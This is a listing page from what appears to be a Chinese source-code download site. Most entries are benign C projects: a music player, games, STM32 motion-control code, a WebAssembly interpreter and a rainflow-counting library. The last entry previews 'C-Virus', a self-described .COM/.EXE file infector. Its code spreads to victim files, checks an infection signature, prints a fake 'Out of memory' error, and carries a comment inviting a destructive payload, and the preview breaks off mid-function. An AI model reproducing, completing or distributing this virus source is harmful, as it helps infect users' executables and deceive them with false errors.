VC++中用C语言编写的音乐播放器 兴趣是最好的老师,我在Vc++6.0中用Windows API和C语言编写的一个简单播放器,经过不断改进,不仅实现了基本的功能,还对界面进行优化了,使播放器变得漂亮了,还是存在不少的bug,有待改进吧。 单独使用UtorPlayer播放器的时候,需要把Skin.ll,Aero.she,UtorPlayer3放在同一目录下。 ********************************************************* 所有人都应该支持开源精神! *********************************************************
2023-12-20 08:05:48 2.16MB 音乐播放器 VC++6.0
1
该程序分为3个等级,纯C编写,界面可能不好看,供大家参考
2023-05-29 23:35:47 136KB C语言 扫雷 源代码 小程序
1
基于C语言编写的STM32控制运动控制芯片MCX314的整套控制程序源码 int main(void) { /* 由于ST固件库的启动文件已经执行了CPU系统时钟的初始化,所以不必再次重复配置系统时钟。 启动文件配置了CPU主时钟频率、内部Flash访问速度和可选的外部SRAM FSMC初始化。 系统时钟缺省配置为72MHz,如果需要更改,可以修改: \Libraries\CMSIS\CM3\DeviceSupport\ST\STM32F10x\system_stm32f10x.c 中配置系统时钟的宏。 */ int i=0; GPIO_InitTypeDef init; /* 定义一个GPIO的结构体变量 */ /* 说明:GPIO_InitTypeDef 是ST固件库中定义的一个结构体变量类型 由于GPIO的参数很多,如果用函数形参设置每个参数,那么函数的形参太多了,因此ST使用了结构体变量,先 设置结构体变量每个成员的值,然后在执行GPIO设置 */ /* 打开GPIOF的时钟 */ RCC_APB2PeriphClo
1
该存储库已弃用。 开发已移至此处:https://github.com/wasm3/wasm3 M3 / Wasm这是使用新颖的高性能解释器拓扑以C语言编写的正在进行中的WebAssembly解释器。 interpr不建议使用此存储库。 开发已移至此处:https://github.com/wasm3/wasm3 M3 / Wasm这是使用新颖的高性能解释器拓扑以C语言编写的正在进行中的WebAssembly解释器。 解释器策略(名为M3)是在此特定Wasm项目之前开发的,并在下面进行了介绍。 目的我不知道。 我刚醒来的一天,意识到我的解释器非常适合Wasm字节码结构后,开始对此进行破解。 一些身份证
2023-03-14 12:45:14 69KB C/C++ Miscellaneous
1
基于C语言编写的2048小游戏111111111111111111111111111111111111111111111111111111111111111111
2023-03-07 08:07:26 10KB c语言
1
C语言编写的一个坦克大战的小游戏,可以参考下
2022-12-05 16:26:11 87KB C语言,坦克大战游戏源码
1
R软件代码转换为matlab 雨流计数算法(4点方法),符合C99 “雨流计数”包括四个主要步骤: 磁滞滤波 峰谷滤波 离散化 四点计数法: * D / \ Closed, if min(B,C) >= min(A,D) && max(B,C) <= max(A,D) B *<--/ Slope B-C is counted and removed from residue / \ / / * C \ / * A 这些步骤在以下标准中已完全记录在案: ASTM E1049“疲劳分析中循环计数的标准实践” [1] 此实现使用了[3,4]中提到的4点算法和[2]中提出的3点HCM方法。 要考虑残留物,您可以实现自定义方法或使用一些预定义的功能。 该包装的特点 模块化体系结构分为两层: a)模块rainflow.c (带有rainflow.h )具有所有必要的功能,用于雨流量计数和直方图提取。 您可以在编译时选择多个可选功能: RFC_MINIMAL :仅将核心功能用于RFC_MINIMAL数(例如,移植到µControllers)。 RFC_TP_SUPPORT :转折点存储。 RFC_H
2022-11-11 20:05:50 122KB 系统开源
1
自己编写的  可能代码有点冗余  欢迎大家提意见
1
这是我用C语言编写的空间后方交会代码,希望大家喜欢哦。
2022-10-26 15:49:51 4KB 后方交会
1
/* C-Virus: A generic .COM and .EXE infector Written by Nowhere Man Project started and completed on 6-24-91 Written in Turbo C++ v1.00 (works fine with Turbo C v2.00, too) */ #pragma inline // Compile to .ASM #include #include #include #include #include void hostile_activity(void); int infected(char *); void spread(char *, char *); void small_print(char *); char *victim(void); #define DEBUG #define ONE_KAY 1024 // 1k #define TOO_SMALL ((6 * ONE_KAY) + 300) // 6k+ size minimum #define SIGNATURE "NMAN" // Sign of infection int main(void) { /* The main program */ spread(_argv[0], victim()); // Perform infection small_print("Out of memory\r\n"); // Print phony error return(1); // Fake failure... } void hostile_activity(void) { /* Put whatever you feel like doing here...I chose to make this part harmless, but if you're feeling nasty, go ahead and have some fun... */ small_print("\a\a\aAll files infected. Mission complete.\r\n"); exit(2); } int infected(char *fname) { /* This function determines if fname is infected */ FILE *fp; // File handle char sig[5]; // Virus signature fp = fopen(fname, "rb"); fseek(fp, 28L, SEEK_SET); fread(sig, sizeof(sig) - 1, 1, fp); #ifdef DEBUG printf("Signature for %s: %s\n", fname, sig); #endif fclose(fp); return(strncmp(sig, SIGNATURE, sizeof(sig) - 1) == 0); } void small_print(char *string) { /* This function is a small, quick print routine */ asm { push si mov si,string mov ah,0xE }
2022-10-26 10:39:40 2KB 源码
1